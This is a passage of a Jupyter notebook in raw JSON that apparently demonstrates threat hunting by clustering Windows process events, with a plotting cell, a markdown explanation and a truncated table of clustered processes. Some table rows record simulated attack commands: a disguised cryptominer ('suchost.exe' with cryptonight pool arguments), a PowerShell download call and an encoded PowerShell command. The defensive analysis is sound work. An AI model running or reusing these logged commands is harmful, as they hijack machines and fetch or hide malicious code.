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\n",
      "text/plain": [
       "<Figure size 806.3x720 with 1 Axes>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Looking at the variability of commandlines and process image paths\n",
    "import seaborn as sns\n",
    "sns.set(style=\"darkgrid\")\n",
    "\n",
    "if processes_on_host is not None and not processes_on_host.empty:\n",
    "    proc_plot = sns.catplot(y=\"processName\", x=\"commandlineTokensFull\", \n",
    "                            data=feature_procs.sort_values('processName'),\n",
    "                            kind='box', height=10)\n",
    "    proc_plot.fig.suptitle('Variability of Commandline Tokens', x=1, y=1)\n",
    "\n",
    "    proc_plot = sns.catplot(y=\"processName\", x=\"pathLogScore\", \n",
    "                            data=feature_procs.sort_values('processName'),\n",
    "                            kind='box', height=10, hue='isSystemSession')\n",
    "    proc_plot.fig.suptitle('Variability of Path', x=1, y=1);"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "The top graph shows that, for a given process, some have a wide variability in their command line content while the majority have little or none. Looking at a couple of examples - like cmd.exe, powershell.exe, reg.exe, net.exe - we can recognize several common command line tools.\n",
    "\n",
    "The second graph shows processes by full process path content. We wouldn't normally expect to see variation here - as is the cast with most. There is also quite a lot of variance in the score making it a useful proxy feature for unique path name (this means that proc1.exe and proc2.exe that have the same commandline score won't get collapsed into the same cluster).\n",
    "\n",
    "Any process with a spread of values here means that we are seeing the same process name (but not necessarily the same file) is being run from different locations."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 70,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "View the clustered data? y/ny\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>LastEventTime</th>\n",
       "      <th>NewProcessName</th>\n",
       "      <th>CommandLine</th>\n",
       "      <th>ClusterSize</th>\n",
       "      <th>commandlineTokensFull</th>\n",
       "      <th>pathScore</th>\n",
       "      <th>isSystemSession</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>51</th>\n",
       "      <td>2019-02-13 21:09:43.893</td>\n",
       "      <td>2019-02-13 21:35:26.417</td>\n",
       "      <td>C:\\Windows\\System32\\appidcertstorecheck.exe</td>\n",
       "      <td>C:\\Windows\\system32\\appidcertstorecheck.exe</td>\n",
       "      <td>4.0</td>\n",
       "      <td>5</td>\n",
       "      <td>4285</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>57</th>\n",
       "      <td>2019-02-13 21:10:57.437</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Windows\\System32\\UsoClient.exe</td>\n",
       "      <td>C:\\Windows\\system32\\usoclient.exe StartScan</td>\n",
       "      <td>1.0</td>\n",
       "      <td>6</td>\n",
       "      <td>3180</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>60</th>\n",
       "      <td>2019-02-13 21:10:58.257</td>\n",
       "      <td>2019-02-13 21:26:53.250</td>\n",
       "      <td>C:\\Windows\\System32\\wbem\\WmiPrvSE.exe</td>\n",
       "      <td>C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding</td>\n",
       "      <td>5.0</td>\n",
       "      <td>10</td>\n",
       "      <td>3546</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>62</th>\n",
       "      <td>2019-02-13 21:10:58.567</td>\n",
       "      <td>2019-02-13 21:35:26.443</td>\n",
       "      <td>C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...</td>\n",
       "      <td>C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...</td>\n",
       "      <td>3.0</td>\n",
       "      <td>13</td>\n",
       "      <td>10527</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>159</th>\n",
       "      <td>2019-02-13 21:27:01.893</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Windows\\System32\\sppsvc.exe</td>\n",
       "      <td>C:\\Windows\\system32\\sppsvc.exe</td>\n",
       "      <td>1.0</td>\n",
       "      <td>5</td>\n",
       "      <td>2933</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>160</th>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Windows\\System32\\wbem\\WmiPrvSE.exe</td>\n",
       "      <td>C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding</td>\n",
       "      <td>1.0</td>\n",
       "      <td>8</td>\n",
       "      <td>3546</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>135</th>\n",
       "      <td>2019-02-13 21:28:01.787</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe</td>\n",
       "      <td>\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler</td>\n",
       "      <td>1.0</td>\n",
       "      <td>17</td>\n",
       "      <td>4895</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>14</th>\n",
       "      <td>2019-02-13 21:41:16.580</td>\n",
       "      <td>2019-02-13 21:08:46.143</td>\n",
       "      <td>C:\\Windows\\System32\\MusNotification.exe</td>\n",
       "      <td>C:\\Windows\\system32\\MusNotification.exe Display</td>\n",
       "      <td>4.0</td>\n",
       "      <td>6</td>\n",
       "      <td>3826</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>110</th>\n",
       "      <td>2019-02-13 21:48:20.483</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe</td>\n",
       "      <td>\"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\7a9d40f2-490e-446...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>18</td>\n",
       "      <td>6421</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>2019-02-13 21:49:41.233</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>\"cmd\"</td>\n",
       "      <td>1.0</td>\n",
       "      <td>2</td>\n",
       "      <td>2570</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>2019-02-13 21:49:41.247</td>\n",
       "      <td>2019-02-13 21:06:45.017</td>\n",
       "      <td>C:\\Windows\\System32\\conhost.exe</td>\n",
       "      <td>\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1</td>\n",
       "      <td>80.0</td>\n",
       "      <td>10</td>\n",
       "      <td>3028</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>2019-02-13 21:49:45.013</td>\n",
       "      <td>2019-02-13 21:06:45.007</td>\n",
       "      <td>C:\\Windows\\System32\\cscript.exe</td>\n",
       "      <td>\"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\"</td>\n",
       "      <td>70.0</td>\n",
       "      <td>13</td>\n",
       "      <td>3022</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>37</th>\n",
       "      <td>2019-02-13 22:03:42.290</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Windows\\System32\\dllhost.exe</td>\n",
       "      <td>C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}</td>\n",
       "      <td>1.0</td>\n",
       "      <td>12</td>\n",
       "      <td>3024</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>38</th>\n",
       "      <td>2019-02-13 22:03:42.320</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>cmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 2</td>\n",
       "      <td>1.0</td>\n",
       "      <td>13</td>\n",
       "      <td>2570</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>39</th>\n",
       "      <td>2019-02-13 22:03:42.330</td>\n",
       "      <td>2019-02-13 21:09:43.903</td>\n",
       "      <td>C:\\Windows\\System32\\conhost.exe</td>\n",
       "      <td>\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1</td>\n",
       "      <td>2.0</td>\n",
       "      <td>10</td>\n",
       "      <td>3028</td>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>40</th>\n",
       "      <td>2019-02-13 22:03:42.640</td>\n",
       "      <td>2019-02-13 22:03:42.877</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>cmd  /c echo Begin Security Demo tasks</td>\n",
       "      <td>2.0</td>\n",
       "      <td>8</td>\n",
       "      <td>2570</td>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>41</th>\n",
       "      <td>2019-02-13 22:03:42.667</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>cmd  /c echo Any questions about the commands executed here then please contact one of</td>\n",
       "      <td>1.0</td>\n",
       "      <td>16</td>\n",
       "      <td>2570</td>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>42</th>\n",
       "      <td>2019-02-13 22:03:42.680</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\Windows\\System32\\cmd.exe</td>\n",
       "      <td>cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com</td>\n",
       "      <td>1.0</td>\n",
       "      <td>12</td>\n",
       "      <td>2570</td>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>43</th>\n",
       "      <td>2019-02-13 22:03:42.817</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\W!ndows\\System32\\suchost.exe</td>\n",
       "      <td>.\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4</td>\n",
       "      <td>1.0</td>\n",
       "      <td>21</td>\n",
       "      <td>2967</td>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>44</th>\n",
       "      <td>2019-02-13 22:03:42.843</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\W!ndows\\System32\\powershell.exe</td>\n",
       "      <td>.\\powershell  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>26</td>\n",
       "      <td>3283</td>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>45</th>\n",
       "      <td>2019-02-13 22:03:42.860</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\W!ndows\\System32\\powershell.exe</td>\n",
       "      <td>.\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>6</td>\n",
       "      <td>3283</td>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>65</th>\n",
       "      <td>2019-02-13 22:08:46.270</td>\n",
       "      <td>2019-02-13 21:08:46.253</td>\n",
       "      <td>C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon...</td>\n",
       "      <td>\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo...</td>\n",
       "      <td>4.0</td>\n",
       "      <td>53</td>\n",
       "      <td>11146</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>75</th>\n",
       "      <td>2019-02-13 22:11:41.790</td>\n",
       "      <td>2019-02-13 21:11:41.770</td>\n",
       "      <td>C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe</td>\n",
       "      <td>\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe...</td>\n",
       "      <td>2.0</td>\n",
       "      <td>27</td>\n",
       "      <td>9122</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>31</th>\n",
